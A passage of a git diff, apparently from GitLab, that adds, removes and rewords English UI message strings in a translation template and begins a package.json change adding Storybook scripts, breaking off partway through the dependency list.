+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29478,9 +29277,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29523,6 +29319,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29844,9 +29646,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30548,9 +30332,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30602,6 +30383,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30620,6 +30404,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -30947,12 +30725,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31454,6 +31241,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,7 +31415,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31631,10 +31424,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -31826,6 +31619,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32194,6 +31993,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32263,7 +32062,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32387,15 +32192,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,10 +32372,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32606,9 +32399,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32627,9 +32417,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -32969,6 +32756,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33002,7 +32792,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33098,6 +32888,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33224,7 +33014,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34150,9 +33943,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34165,6 +33967,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34213,6 +34018,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34691,12 +34505,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34937,9 +34730,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35717,9 +35513,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -35887,6 +35686,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -35905,9 +35707,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36010,7 +35812,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37715,12 +37520,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37814,6 +37628,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38010,9 +37842,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38858,6 +38690,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38894,9 +38729,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -38957,7 +38789,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39481,6 +39322,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/package.json b/package.json
index 0a889f6f6a0..dd2ac8027ef 100644
--- a/package.json
+++ b/package.json
@@ -40,6 +40,9 @@
"markdownlint:no-trailing-spaces": "markdownlint --config doc/.markdownlint/markdownlint-no-trailing-spaces.yml",
"markdownlint:no-trailing-spaces:fix": "yarn run markdownlint:no-trailing-spaces --fix",
"postinstall": "node ./scripts/frontend/postinstall.js",
+ "storybook:install": "yarn --cwd ./storybook install",
+ "storybook:build": "yarn --cwd ./storybook build",
+ "storybook:start": "yarn --cwd ./storybook start",
"stylelint-create-utility-map": "node scripts/frontend/stylelint/stylelint-utility-map.js",
"webpack": "NODE_OPTIONS=\"--max-old-space-size=3584\" webpack --config config/webpack.config.js",
"webpack-vendor": "NODE_OPTIONS=\"--max-old-space-size=3584\" webpack --config config/webpack.vendor.config.js",
@@ -54,36 +57,40 @@
"@babel/preset-env": "^7.10.1",
"@gitlab/at.js": "1.5.7",
"@gitlab/favicon-overlay": "2.0.0",
